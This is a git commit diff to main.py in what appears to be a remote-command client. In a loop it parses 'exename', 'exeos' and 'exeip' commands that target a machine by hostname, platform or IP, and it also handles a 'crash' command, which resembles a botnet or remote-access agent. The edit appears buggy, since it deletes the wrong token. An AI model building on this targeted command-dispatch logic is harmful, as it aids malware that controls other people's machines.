diff options
| author | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-01 23:30:30 +0800 |
|---|---|---|
| committer | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-01 23:30:30 +0800 |
| commit | e9cb6af75e2191d159a276fad8414c8a554086cb (patch) | |
| tree | da896e835d44873bca7f8f158fdf77c4014cd13d /main.py | |
| parent | e54cc4f687ad4c4634179c7a6d7677b788a05cc5 (diff) | |
a
Diffstat (limited to 'main.py')
| -rw-r--r-- | main.py | 12 |
1 files changed, 4 insertions, 8 deletions
@@ -107,18 +107,15 @@ while True: if command.startswith("exename "): localcmd = command.split() if localcmd[1] == hostname: - del localcmd[0] - del localcmd[0] + del localcmd[2] localcmd = ' '.join(localcmd) - print(localcmd) else: old_command = commandId continue if command.startswith("exeos "): localcmd = command.split() if localcmd[1] == platform: - del localcmd[0] - del localcmd[0] + del localcmd[2] localcmd = ' '.join(localcmd) else: old_command = commandId @@ -126,10 +123,9 @@ while True: if command.startswith("exeip "): localcmd = command.split() if localcmd[1] == ip: - del localcmd[0] - del localcmd[0] + del localcmd[2] localcmd = ' '.join(localcmd) - else: + else: old_command = commandId continue if command.startswith("crash"): |
